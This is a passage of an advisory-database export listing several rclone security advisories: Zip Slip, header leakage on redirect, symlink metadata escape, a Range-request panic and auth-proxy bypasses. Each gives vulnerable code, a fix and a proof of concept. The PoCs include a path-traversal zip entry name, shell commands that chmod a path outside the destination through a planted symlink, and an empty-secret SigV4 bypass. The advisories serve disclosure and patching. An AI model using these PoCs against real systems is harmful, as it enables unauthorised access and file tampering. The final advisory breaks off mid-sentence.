[{"uuid":"GSA_kwCzR0hTQS02NmhwLXdneHEtNmY1cc4ABxV-","url":"https://github.com/advisories/GHSA-66hp-wgxq-6f5q","title":"rclone archive/zip: Zip Slip via unsanitized zip entry names lets a malicious archive escape its own namespace","description":"### Summary\n`backend/archive` mounts a zip file as a browsable, syncable rclone `Fs` (e.g. `rclone lsf :zip:downloaded.zip` or `rclone copy :zip:downloaded.zip dest:`). Go's `archive/zip` package does not sanitize `file.Name` - it is taken verbatim from the untrusted zip's central directory. `readZip()` in `backend/archive/zip/zip.go` applies `path.Clean` to the entry name, but this alone cannot fully neutralize a name with more `..` components than real segments preceding them (e.g. `\"../../etc/cron.d/evil\"` stays exactly as-is after cleaning). When the archive is mounted with an empty root (the common case), there was no check at all that the resulting name stayed inside the archive's own namespace, so it was stored verbatim and returned unchanged by `Object.Remote()`.\n\n`fs/sync`/`fs/operations` use `srcObj.Remote()` directly as the destination-relative path when copying between filesystems, so a maliciously crafted zip file can cause `rclone copy`/`sync` to attempt writes outside the intended destination directory on whatever backend it targets - this is the well-known \"Zip Slip\" vulnerability class (https://security.snyk.io/research/zip-slip-vulnerability) applied to rclone's own zip-mounting backend. It is distinct from `cmd/archive/extract`, which already validates via its own `destPath()` choke point and is not affected.\n\n### Details\nVulnerable code (before fix), `backend/archive/zip/zip.go`, `(*Fs).readZip`:\n```go\nfor _, file := range zr.File {\n\tremote := strings.Trim(path.Clean(file.Name), \"/\")\n\tif remote == \".\" { remote = \"\" }\n\tremote = path.Join(f.prefix, remote)\n\tif f.root != \"\" {\n\t\t// Ignore all files outside the root\n\t\tif !strings.HasPrefix(remote, f.root) { continue }\n\t\t...\n\t}\n\t...\n\to := \u0026Object{f: f, remote: remote, ...}\n\tdt.Add(o)\n}\n```\nThe escape check only ran when `f.root != \"\"`, and even then used a bare `strings.HasPrefix` with no boundary check (so `f.root=\"foo\"` incorrectly also matched a sibling entry `\"foobar\"`).\n\n### PoC\nBuilt a zip in memory with Go's real `archive/zip` writer (entry name `\"../../etc/cron.d/evil\"`, not sanitized by the writer either), wrote it to disk, and mounted it via the actual production constructor `zip.New(ctx, localFs, \"evil.zip\", \"\", \"\")`:\n```\nzip entry Name=\"../../etc/cron.d/evil\" -\u003e Object.Remote()=\"../../etc/cron.d/evil\"\n```\nFully outside the archive's own namespace - confirmed via a regression test that mounts the malicious zip through the real `local` backend and inspects the resulting Fs's internal dirtree and every Object's `Remote()`.\n\n### Impact\nA user who runs `rclone copy`/`sync`/`mount` against an untrusted zip file (downloaded, e-mailed, etc.) can have files written outside the intended destination directory on the destination backend, depending on that backend's own confinement. No server compromise or custom remote configuration is required from the attacker - only a crafted zip file and a normal `rclone copy`/`sync` invocation by the victim.\n\n### Fix\nSkip any zip entry whose cleaned+prefixed name still escapes the archive's own namespace, rather than exposing it. Also tightened the pre-existing root filter's weak prefix check.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-09-10T23:03:16.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.3,"cvss_vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N","references":["https://github.com/rclone/rclone/security/advisories/GHSA-66hp-wgxq-6f5q","https://nvd.nist.gov/vuln/detail/CVE-2026-88014","https://github.com/rclone/rclone/commit/5dae3adbf571a6cd9ba501eb47397a7e871e1ae0","https://github.com/rclone/rclone/commit/6507e13d5a83789f500af96d7188c302c9d74d98","https://github.com/rclone/rclone/releases/tag/v1.75.1","https://github.com/advisories/GHSA-66hp-wgxq-6f5q"],"source_kind":"github","identifiers":["GHSA-66hp-wgxq-6f5q","CVE-2026-88014"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-11T00:00:16.805Z","updated_at":"2026-09-12T21:00:09.784Z","epss_percentage":0.0014,"epss_percentile":0.03677,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02NmhwLXdneHEtNmY1cc4ABxV-","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02NmhwLXdneHEtNmY1cc4ABxV-","packages":[{"ecosystem":"go","package_name":"github.com/rclone/rclone","versions":[{"first_patched_version":"1.75.1","vulnerable_version_range":"\u003e= 1.72.0, \u003c 1.75.1"}],"purl":"pkg:go/github.com%2Frclone%2Frclone"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02NmhwLXdneHEtNmY1cc4ABxV-/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS00ODZ2LXEyd2YtZnAycs4ABxV9","url":"https://github.com/advisories/GHSA-486v-q2wf-fp2r","title":"rclone: http backend forwards custom/auth headers to a different host on redirect","description":"## Vulnerability Details\n\n**File**: `backend/http/http.go`\n**Lines**: 285 (client construction — no `CheckRedirect`), 505-510 (`addHeaders`, writes configured secret headers onto every request), 533-534 / 700-701 / 782-785 (`f.httpClient.Do(req)` used by List/stat/download)\n\n### Root Cause\nThe `http` backend lets a user attach arbitrary secret headers to every request via `--http-headers`/`headers=` (documented for authentication: `'\"Cookie\",\"name=value\",\"Authorization\",\"xxx\"'`). The backend's HTTP client is built with `fshttp.NewClient(ctx)`, which never sets `http.Client.CheckRedirect`, so it falls back to Go's stdlib default redirect policy.\n\nGo's default policy only strips four header names (`Authorization`, `Www-Authenticate`, `Cookie`, `Cookie2`), and only when the redirect target's *host* differs from the original — every other configured header is copied to the redirect target unconditionally, regardless of host or scheme. Even the four protected names survive a same-host `https://` → `http://` downgrade, since Go only checks host equality, not scheme.\n\nAny redirect response from the configured remote — whether from server compromise, an open redirect, a CDN/mirror failover to a different domain, or a malicious server from the start — causes rclone to resend every configured secret header (and, for a scheme downgrade, `Authorization`/`Cookie` in cleartext) to the new destination.\n\nThis is the exact vulnerability class already fixed for the `s3` backend (`9328763`/`7543a7a`, GHSA-8mxv-9xhp-86h4 and the `webdav` backend (`59b513b`, GHSA-h4mf-4v27-hggj, wiring `rest.RefuseHTTPSDowngradeRedirectFn`). `backend/http` was not touched by either fix.\n\n### Vulnerable Code\n```go\n// backend/http/http.go:285\nclient := fshttp.NewClient(ctx)   // no CheckRedirect set\n...\nf.httpClient = client             // used by readDir / NewObject / Object.Open\n```\n```go\n// backend/http/http.go:505-510\nfunc addHeaders(req *http.Request, opt *Options) {\n\tfor i := 0; i \u003c len(opt.Headers); i += 2 {\n\t\tkey := opt.Headers[i]\n\t\tvalue := opt.Headers[i+1]\n\t\treq.Header.Add(key, value)\n\t}\n}\n```\n\n### Attack Scenario\n1. User configures an `http` remote: `url=https://good.example.com/files/`, `headers=X-Api-Key,SECRET-TOKEN`.\n2. At some point `good.example.com` returns a redirect whose `Location` points at a different host (compromise, open redirect, CDN change, or malice from the start).\n3. User runs any operation (`ls`, `cat`, `copy`, `mount`, `serve`) against the remote.\n4. rclone follows the redirect with the default client and resends `X-Api-Key: SECRET-TOKEN` to the new, untrusted destination.\n5. The attacker's server captures the secret from the incoming request.\n\n### Impact\nExfiltration of API keys / bearer tokens / session cookies configured for one host, to any host the (trusted-at-configuration-time) remote later redirects to. All operations on the `http` backend (list, stat, download, mount, serve) are affected. No special rclone privileges or unusual user interaction are needed beyond a normal sync/list/copy once the redirect exists.\n\n### Dynamic Confirmation\nBuilt rclone from source at `cfdc9d0` (current master, `v1.76.0-DEV`) and configured:\n```ini\n[testhttp]\ntype = http\nurl = http://127.0.0.1:9090/\nheaders = X-Api-Key,SUPER-SECRET-TOKEN-abc123\n```\nServer A (port 9090, the \"configured\" host) 302-redirects every request to Server B (port 9091, a different host). Running `rclone cat testhttp:file.txt` caused Server B — which was never configured with any credential — to receive:\n```\nHeader: X-Api-Key: SUPER-SECRET-TOKEN-abc123\nHeader: Referer: http://127.0.0.1:9090/file.txt\n```\nrclone printed Server B's response body as if it were the real file, confirming the full stat→redirect→download round trip leaks the header and trusts the redirect target.\n\n### Vulnerable Code / Fix\nA minimal fix (implemented, tested, and verified to close the leak while preserving redirect functionality) wires the client to `rest.RefuseHTTPSDowngradeRedirectFn` (already used by `webdav`) and strips the configured `opt.Headers` on any cross-host redirect:\n\n```go\nclient := fshttp.NewClient(ctx)\nclient.CheckRedirect = redirectCheckFn(opt)\n...\nfunc redirectCheckFn(opt *Options) func(req *http.Request, via []*http.Request) error {\n\treturn func(req *http.Request, via []*http.Request) error {\n\t\tif err := rest.RefuseHTTPSDowngradeRedirectFn(req, via); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif len(via) \u003e 0 \u0026\u0026 req.URL.Host != via[0].URL.Host {\n\t\t\tfor i := 0; i \u003c len(opt.Headers); i += 2 {\n\t\t\t\treq.Header.Del(opt.Headers[i])\n\t\t\t}\n\t\t}\n\t\treturn nil\n\t}\n}\n```\n\nA regression test (`TestRedirectStripsHeadersOnHostChange`) was added to `backend/http/http_internal_test.go`, confirmed to fail without the fix and pass with it. Full `backend/http` and `lib/rest` test suites pass with the fix applied. I have a fix branch ready to push to a private fork once this report is acknowledged.\n\n### Verification\nDynamically confirmed on rclone master @ `cfdc9d0` (post `v1.75.0`) in a local test harness — see \"Dynamic Confirmation\" above. Fix verified to eliminate the leak via the same harness (secret header absent from Server B after the fix; functionality — file download via redirect — unaffected).","origin":"UNSPECIFIED","severity":"LOW","published_at":"2026-09-10T23:02:53.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":3.7,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N","references":["https://github.com/rclone/rclone/security/advisories/GHSA-486v-q2wf-fp2r","https://nvd.nist.gov/vuln/detail/CVE-2026-88013","https://github.com/rclone/rclone/commit/22859b7e696cea3c563c6ba04c6b7f91f74456b4","https://github.com/rclone/rclone/commit/79fbc0842f74e02cb84f0e3e7261d169983c8831","https://github.com/rclone/rclone/commit/925fb4fb21eb25e75cd1b64fdd17ded857784bfc","https://github.com/rclone/rclone/releases/tag/v1.75.1","https://github.com/advisories/GHSA-486v-q2wf-fp2r"],"source_kind":"github","identifiers":["GHSA-486v-q2wf-fp2r","CVE-2026-88013"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-11T00:00:16.805Z","updated_at":"2026-09-12T21:00:09.809Z","epss_percentage":0.00182,"epss_percentile":0.07891,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00ODZ2LXEyd2YtZnAycs4ABxV9","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS00ODZ2LXEyd2YtZnAycs4ABxV9","packages":[{"ecosystem":"go","package_name":"github.com/rclone/rclone","versions":[{"first_patched_version":"1.75.1","vulnerable_version_range":"\u003e= 1.49.0, \u003c= 1.75.0"}],"purl":"pkg:go/github.com%2Frclone%2Frclone"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00ODZ2LXEyd2YtZnAycs4ABxV9/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1mOGc3LTJ4amMtN21maM4ABxV8","url":"https://github.com/advisories/GHSA-f8g7-2xjc-7mfh","title":"rclone: Directory metadata (chmod/chown/chtimes) applied through a planted symlink in rclone local --links escapes the destination","description":"## Summary\nWith `-l/--links`, rclone's local backend recreates a source `.rclonelink` object as a real symlink at the destination **verbatim** (preserved by design for faithful backups). Directory-metadata application, however, does **not** go through the `os.Root` sandbox and does **not** use NOFOLLOW syscalls. A local `Directory` always has `translatedLink=false`, so when the destination path already exists as a planted symlink, rclone applies `chmod`/`chown`/`chtimes` **through** that symlink to a target **outside** the destination tree. An attacker who controls the source contents (malicious/compromised remote, shared bucket) obtains attacker-valued `chmod`/`chown`/`chtimes` of an arbitrary path outside the backup destination.\n\n## Root Cause\n- `MkdirMetadata` (`backend/local/local.go:895`) calls `f.lstat` (=`os.Lstat`, local.go:465) on the destination path. On a pre-planted symlink, `os.Lstat` succeeds, so the `errors.Is(err, os.ErrNotExist)` branch (local.go:896) that would create a real directory via the `os.Root`-guarded `f.Mkdir` is **not** taken. Instead a `Directory` is built directly on the symlink path.\n- `writeMetadataToFile` runs raw `os.Chown` (`backend/local/metadata.go:131`) and `os.Chmod` (`metadata.go:158`); `setTimes` runs raw `os.Chtimes` (`backend/local/local.go:1318`).\n- The CVE-2024-52522 NOFOLLOW fix (`os.Lchown`/`lChmod`/`lChtimes`) is gated on `if o.translatedLink` (metadata.go:128/150, local.go:1315). A `Directory` (`newDirectory`→`newObject` with no `.rclonelink` suffix) is never `translatedLink`, so it always takes the raw *following* branch. The CVE-2026-54572 `os.Root` fix covers only content **writes**, not metadata syscalls.\n\n## Impact\nAttacker-controlled `chmod`/`chown`/`chtimes` (values taken from the source directory's mode/uid/gid/mtime) applied to any file or directory **outside** the destination. `chtimes` (mtime) escape works with just `--links` and default flags; `chmod`/`chown` escape additionally needs `--metadata`. When rclone runs as root with `--metadata` and a source `uid=0`, the `chown` primitive reaches the CVE-2024-52522 privilege-escalation ceiling (take ownership of an out-of-tree path).\n\n## Proof of Concept\n```\nmkdir -p /src /dest\n# run 1: source object pwn.rclonelink whose body = /home/victim/secret.d\nprintf '/home/victim/secret.d' \u003e /src/pwn.rclonelink\nrclone sync --links /src /dest              # plants /dest/pwn -\u003e /home/victim/secret.d\n# attacker swaps source pwn to a real directory with chosen metadata:\nrm /src/pwn.rclonelink ; mkdir -p /src/pwn/keep ; chmod 777 /src/pwn\nrclone sync --links --metadata /src /dest   # MkdirMetadata sees /dest/pwn exists (symlink) -\u003e\n                                            # chmod 0777 applied THROUGH it to /home/victim/secret.d\nls -ld /home/victim/secret.d                # =\u003e drwxrwxrwx  (outside dir, attacker-chosen mode)\n```\nA single-run PoC is achievable against directory-based object sources (drive/onedrive-class) that satisfy both `ReadDirMetadata` and `CanHaveEmptyDirectories` and can present `pwn.rclonelink` and `pwn/` simultaneously. Local→local uses the two-run backup model (same repeated-backup model as CVE-2024-52522 and CVE-2026-54572). Verified end-to-end against the real `fs/sync.Sync` engine on HEAD: the two-run backup backdated the outside target's mtime and chmod'd it 0777 while os.Root correctly blocked the content-copy of `pwn/keep` — isolating the metadata gap.\n\n## Attack Chain\n1. **Entry.** Victim runs `rclone copy`/`sync --links [--metadata] \u003cuntrusted-remote\u003e: /dest`. Attacker controls source contents.\n   - Guard: none — `--links` copying an untrusted remote is a documented, supported operation.\n2. **Plant symlink.** Source serves `pwn.rclonelink` with body = absolute outside path; rclone recreates `dst/pwn` → outside.\n   - Guard: `Fs.symlink` routes creation through `os.Root.Symlink` (local.go:~1552).\n   - Bypass proof: `os.Root` creates the link **verbatim by design** (commit 1154afe); the upstream `os.Root` fix's test `TestSymlinkEscapeWriteThroughBlocked` confirms only write-*through* is refused, the link is planted.\n3. **Deferred dir-metadata fires after transfers.** Source presents non-empty dir `pwn`; `setDelayedDirModTimes` (sync.go:1002) runs strictly after `stopTransfers()` (sync.go:988) — after the symlink is planted.\n   - Guard: `MkdirMetadata` would create a real dir via os.Root-guarded `f.Mkdir` (local.go:897) inside its `errors.Is(err, os.ErrNotExist)` branch.\n   - Bypass proof: `os.Lstat` (local.go:465) on the existing symlink returns success, so the `ErrNotExist` branch (local.go:896) is NOT taken; `f.Mkdir`/os.Root never runs. Empirically `os.IsNotExist(err)=false` for the planted symlink.\n4. **Sink follows the symlink.** `CopyDirMetadata`→`MkdirMetadata`→`writeMetadataToFile` runs `os.Chown`/`os.Chmod` (metadata.go:131/158); `DirSetModTime`→`setTimes` runs `os.Chtimes` (local.go:1318) — all on `o.path=\"dst/pwn\"` with `translatedLink=false`.\n   - Guard: CVE-2024-52522 NOFOLLOW branch (`os.Lchown`/`lChmod`/`lChtimes`).\n   - Bypass proof: that branch is gated on `if o.translatedLink` (metadata.go:128/150, local.go:1315); a `Directory` always has `translatedLink=false`, so the raw following branch runs. POSIX-confirmed: `chmod 777`/`touch` on a symlink path change the *target's* mode/mtime.\n5. **Impact.** `chmod`/`chown`/`chtimes` on an attacker-chosen path outside the destination, with attacker-controlled values.\n\n## Bypass Evidence\n- `if o.translatedLink` gates verified verbatim on v1.75.0 at metadata.go:128/150 and local.go:1315; `os.Chown`/`os.Chmod`/`os.Chtimes` on the else branch at metadata.go:131/158 and local.go:1318.\n- `newDirectory`→`newObject` (local.go:581/589/596) never sets the `.rclonelink` suffix → `translatedLink=false` for all directories.\n- `MkdirMetadata` skip branch: `os.Lstat` succeeds on planted symlink → `errors.Is(err, os.ErrNotExist)` false at local.go:896 → guarded `f.Mkdir` skipped.\n- Real `fs/sync.Sync` E2E on HEAD: `TestDirMetadataThroughPlantedSymlink` (outside dir → 0777), `TestDirSetModTimeThroughPlantedSymlink` (mtime set, default-on), `TestE2E_TwoRunBackup` (backdated outside target while content-copy blocked by os.Root). All PASS. Control `TestControl_ContentWriteBlocked` confirms harness fidelity.\n\n## Affected Versions\n`\u003c= 1.75.0`. Vulnerable code present on latest release tag v1.75.0 and HEAD (5629f26); `git log v1.75.0..HEAD -- backend/local/metadata.go backend/local/local.go` is empty (no post-release fix).\n\n## Suggested Fix\nRoute directory metadata through `os.Root` when `TranslateSymlinks` is set (use `fchmodat(AT_SYMLINK_NOFOLLOW)`/`Lchown`/`UtimesNanoAt(AT_SYMLINK_NOFOLLOW)` on the `rel` path within the root), and/or extend `MkdirMetadata` to detect that the pre-existing destination path is a symlink and refuse to apply following-metadata — mirroring the CVE-2024-52522 NOFOLLOW branch that currently exists only for `translatedLink` objects.\n\n---\nReported by **zx (Jace)** — GitHub: @manus-use","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-09-10T22:51:34.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.5,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:N/I:H/A:L","references":["https://github.com/rclone/rclone/security/advisories/GHSA-f8g7-2xjc-7mfh","https://nvd.nist.gov/vuln/detail/CVE-2026-88016","https://github.com/rclone/rclone/commit/17b0c03338a857bcb0a68d2d4c82ddbdec3f7893","https://github.com/rclone/rclone/commit/a7ab39d3d1958afa1446982c1dc4e4a73a887e3e","https://github.com/rclone/rclone/releases/tag/v1.75.1","https://github.com/advisories/GHSA-f8g7-2xjc-7mfh"],"source_kind":"github","identifiers":["GHSA-f8g7-2xjc-7mfh","CVE-2026-88016"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-10T23:00:09.344Z","updated_at":"2026-09-12T21:00:09.813Z","epss_percentage":0.00197,"epss_percentile":0.09519,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mOGc3LTJ4amMtN21maM4ABxV8","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1mOGc3LTJ4amMtN21maM4ABxV8","packages":[{"ecosystem":"go","package_name":"github.com/rclone/rclone","versions":[{"first_patched_version":"1.75.1","vulnerable_version_range":"\u003c= 1.75.0"}],"purl":"pkg:go/github.com%2Frclone%2Frclone"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mOGc3LTJ4amMtN21maM4ABxV8/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1wNm0yLXIzdzktbXB4d84ABxV7","url":"https://github.com/advisories/GHSA-p6m2-r3w9-mpxw","title":"rclone local: crafted Range request against a translated symlink panics (DoS)","description":"### Summary\nWhen `backend/local` is used with `--links`/`-l` (or the `links=true` config option), each symlink is exposed as an rclone object whose content is the target path string, suffixed `.rclonelink`. `Object.Open()` decodes an incoming `fs.RangeOption` via `Decode(o.Size())`, then for a translated-symlink object passes the decoded `offset` straight into `openTranslatedLink`, which indexes the target string directly: `linkdst[offset:]`.\n\n`RangeOption.Decode`'s `Start \u003e= 0` branch (an ordinary `Range: bytes=X-` request) sets `offset = o.Start` with no upper bound, unlike its suffix-range branch (`Start \u003c 0`, e.g. `bytes=-N`), which already clamps a too-large value to 0 - the fix for a prior, related crash (issue #6310: \"bytes=-90407\" against a 5-byte object panicked with \"slice bounds out of range\", now covered by an existing regression test). The `Start \u003e= 0` branch never received the analogous protection.\n\nA `Range: bytes=\u003chugeStart\u003e-` request sent to `rclone serve http`/`webdav` (or any consumer of `lib/http/serve`'s `Object()`, which parses and decodes the client's own Range header) against a directory containing a symlink therefore reaches `linkdst[offset:]` with offset far beyond the target string's length, and Go panics with \"slice bounds out of range\" instead of returning an empty read.\n\n### Details\nVulnerable code (before fix):\n```go\nfunc (o *Object) openTranslatedLink(offset, limit int64) (lrc io.ReadCloser, err error) {\n\tlinkdst, err := os.Readlink(o.path)\n\tif err != nil { return nil, err }\n\treturn readers.NewLimitedReadCloser(io.NopCloser(strings.NewReader(linkdst[offset:])), limit), nil\n}\n```\n\n### PoC\nCalled the real production `Object.Open()` on a translated-symlink object (target length 12) with `\u0026fs.RangeOption{Start: math.MaxInt64, End: -1}`:\n```\npanic: runtime error: slice bounds out of range [9223372036854775807:8]\n  ...backend/local.(*Object).openTranslatedLink\n  ...backend/local.(*Object).Open\n```\n\n### Impact\nA remote client can send a single crafted `Range` header against any symlink-backed object exposed by `rclone serve http`/`webdav`/etc (backed by `backend/local` with `--links` enabled) to deterministically panic the request-handling goroutine. Go's `net/http` recovers panics per-connection by default, so this fails the one request/connection rather than crashing the whole server process, and no file handle is left open (the panic occurs before any read handle is acquired) - but it is fully deterministic and remotely triggerable with no authentication or race window needed, unlike some other panic-recovery findings.\n\n### Fix\nClamp `offset` to the length of the target string before slicing, matching how a real file read past EOF behaves (an empty read):\n```go\nif offset \u003e int64(len(linkdst)) {\n\toffset = int64(len(linkdst))\n}\n```\nNote: the shared `RangeOption.Decode()` also has a related, unaddressed issue - `limit = o.End - o.Start + 1` can itself overflow to a large negative number for a huge `End` - but a fix attempted there during this investigation broke `fs/operations/reopen.go`'s `NewReOpen`, which calls `Decode` with its `h.end` field still at its zero value at that point in construction. Flagged for awareness but not changed here to keep this patch minimal and low-risk.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-09-10T22:49:27.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","references":["https://github.com/rclone/rclone/security/advisories/GHSA-p6m2-r3w9-mpxw","https://nvd.nist.gov/vuln/detail/CVE-2026-88015","https://github.com/rclone/rclone/commit/28bf49d66f94acc3f4f7f318504a706686281af9","https://github.com/rclone/rclone/releases/tag/v1.75.1","https://github.com/advisories/GHSA-p6m2-r3w9-mpxw"],"source_kind":"github","identifiers":["GHSA-p6m2-r3w9-mpxw","CVE-2026-88015"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-10T23:00:09.344Z","updated_at":"2026-09-12T21:00:09.821Z","epss_percentage":0.00354,"epss_percentile":0.28666,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wNm0yLXIzdzktbXB4d84ABxV7","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1wNm0yLXIzdzktbXB4d84ABxV7","packages":[{"ecosystem":"go","package_name":"github.com/rclone/rclone","versions":[{"first_patched_version":"1.75.1","vulnerable_version_range":"\u003c= 1.75.0"}],"purl":"pkg:go/github.com%2Frclone%2Frclone"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wNm0yLXIzdzktbXB4d84ABxV7/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS14d3dyLTRoM3AtcjIyY84ABxV6","url":"https://github.com/advisories/GHSA-xwwr-4h3p-r22c","title":"rclone serve s3: --auth-proxy without --auth-key authenticates nobody - full SigV4 signature bypass","description":"### Summary\n`rclone serve s3`'s handler chain, when `--auth-proxy` is configured, is (outermost first): `authPairMiddleware` -\u003e `proxyAuthMiddleware` -\u003e gofakes3's own SigV4-verifying handler.\n\n`authPairMiddleware` parses the accessKeyID straight out of the incoming request's own `Authorization` header (entirely client-controlled) and registers `{accessKey: ws.s3Secret}` into gofakes3's shared credential store via `AddAuthKeys`, for EVERY access key any client presents - not just ones previously known to the server. `ws.s3Secret` defaults to `\"\"` whenever `--auth-key` is not set, which the `--auth-proxy` documentation (and the reference `bin/test_proxy.py`) presents as a complete, standalone authentication mechanism requiring no other flag - matching how it's used for `serve webdav`/`ftp`/`sftp`.\n\ngofakes3's SigV4 verification then checks the request's signature against exactly the secret `authPairMiddleware` just registered for that same client-chosen key. An empty string is a valid HMAC key, so a caller can trivially compute a correct SigV4 signature for ANY access key ID of their choosing using an empty secret, and verification passes.\n\nCrucially, the auth-proxy script never receives a real secret to verify against, for S3 specifically: `Server.auth()` calls `w.proxy.Call(md5(accessKeyID), accessKeyID, false, r.RemoteAddr)` - passing the access key ID itself as BOTH the hashed \"user\" and the raw \"auth\"/password fields. Contrast with `serve webdav`/`ftp`/`sftp`, whose proxy integration passes the client's actual typed password (see `bin/test_proxy.py`, which forwards it into a backing SFTP login for real verification). For S3, no independent secret is ever transmitted to the proxy script at all, so no script - however carefully written - can distinguish a legitimate holder of an access key ID from an attacker who merely picked the same string.\n\nNet effect: with `--auth-proxy` configured and `--auth-key` not also set (the configuration the feature is documented to support standalone), SigV4 signature verification authenticates nobody.\n\n### Details\nVulnerable code (before fix):\n```go\nfunc authPairMiddleware(next http.Handler, ws *Server) http.Handler {\n\treturn http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\taccessKey, _ := parseAccessKeyID(r)\n\t\tauthPair := map[string]string{accessKey: ws.s3Secret}\n\t\tws.faker.AddAuthKeys(authPair)\n\t\tnext.ServeHTTP(w, r)\n\t})\n}\n```\n\n### PoC\nBuilt and signed a request by hand (via the vendored `github.com/aws/aws-sdk-go-v2/aws/signer/v4`) using a freshly-random access key ID never configured or returned by anything, with `SecretAccessKey: \"\"`, against a real `rclone serve s3 --auth-proxy \u003cscript\u003e` instance with no `--auth-key` set:\n```\nstatus=200\n\u003cListAllMyBucketsResult\u003e...\u003cBucket\u003e\u003cName\u003emybucket\u003c/Name\u003e...\n```\nA fully authenticated, successful bucket listing, with zero prior credential knowledge.\n\n### Impact\nAny network-reachable, unauthenticated attacker who knows (or discovers) that a target is running `rclone serve s3 --auth-proxy` without `--auth-key` can choose an arbitrary access key ID, sign a request against an empty secret, and be treated as an authenticated user by the auth-proxy script - reaching whatever backend that script resolves the chosen identity to. No credentials, prior access, or user interaction of any kind are required.\n\n### Fix\nRefuse to start `rclone serve s3` when `--auth-proxy` is set without `--auth-key`, rather than silently falling back to a signature check that authenticates nobody:\n```go\nif proxyOpt.AuthProxy != \"\" \u0026\u0026 len(opt.AuthKey) == 0 {\n\treturn nil, errors.New(\"serve s3: --auth-proxy requires --auth-key to also be set (SigV4 has no other way to verify a signature for a dynamically-proxied identity)\")\n}\n```\nNote this is a minimal fix for the zero-knowledge bypass; once `--auth-key` is also set, every access key ID still shares that one static secret for signature-verification purposes (a caller who knows it can request any identity from the proxy script) - a narrower, pre-existing limitation flagged for awareness but not changed here, since a complete fix needs the auth-proxy wire protocol to carry a per-identity secret for S3 specifically (a larger design change).","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-09-10T22:49:07.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","references":["https://github.com/rclone/rclone/security/advisories/GHSA-xwwr-4h3p-r22c","https://nvd.nist.gov/vuln/detail/CVE-2026-88018","https://github.com/rclone/rclone/commit/90595f34f27f569be6b27c57fe5ab65057d323bd","https://github.com/rclone/rclone/releases/tag/v1.75.1","https://github.com/advisories/GHSA-xwwr-4h3p-r22c"],"source_kind":"github","identifiers":["GHSA-xwwr-4h3p-r22c","CVE-2026-88018"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-10T23:00:09.344Z","updated_at":"2026-09-12T21:00:09.825Z","epss_percentage":0.00493,"epss_percentile":0.40847,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14d3dyLTRoM3AtcjIyY84ABxV6","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS14d3dyLTRoM3AtcjIyY84ABxV6","packages":[{"ecosystem":"go","package_name":"github.com/rclone/rclone","versions":[{"first_patched_version":"1.75.1","vulnerable_version_range":"\u003c 1.75.1"}],"purl":"pkg:go/github.com%2Frclone%2Frclone"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14d3dyLTRoM3AtcjIyY84ABxV6/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1wNTY5LTVnamctOWNtas4ABxV5","url":"https://github.com/advisories/GHSA-p569-5gjg-9cmj","title":"rclone: RC per-server auth-proxy bypass","description":"## Summary\n\n`serve/start` accepts protocol options in a per-server `proxyOpt` object. The FTP and S3 RC adapters parse that object and pass it to their server constructors, but the constructors decide whether proxy authentication is enabled by checking the process-global `proxy.Opt.AuthProxy` instead of the supplied `proxyOpt.AuthProxy`.\n\nWhen the process-global option is empty—the normal case when only the RC request configures the server—the supplied authentication proxy is silently ignored. FTP falls back to its fixed-backend mode, whose defaults accept username `anonymous` with any password, exposing read, write, and delete operations without the authentication the operator configured. S3 falls back to the fixed filesystem: with an `auth_key`, any holder of that key reaches the fixed RC `fs` instead of the backend selected by the auth proxy.\n\nThe S3 no-`auth_key` mode is explicitly documented as anonymous and is not part of this vulnerability claim. The confirmed S3 impact is proxy-based authorization/backend routing being ignored when S3 authentication is otherwise enabled.\n\nConfirmed affected versions are `v1.70.0` through `v1.75.0`, plus development commit `5629f2668c69149bf3d9d8e2a25bb32a2648606e`. The dedicated CLI commands use the process-global option and are 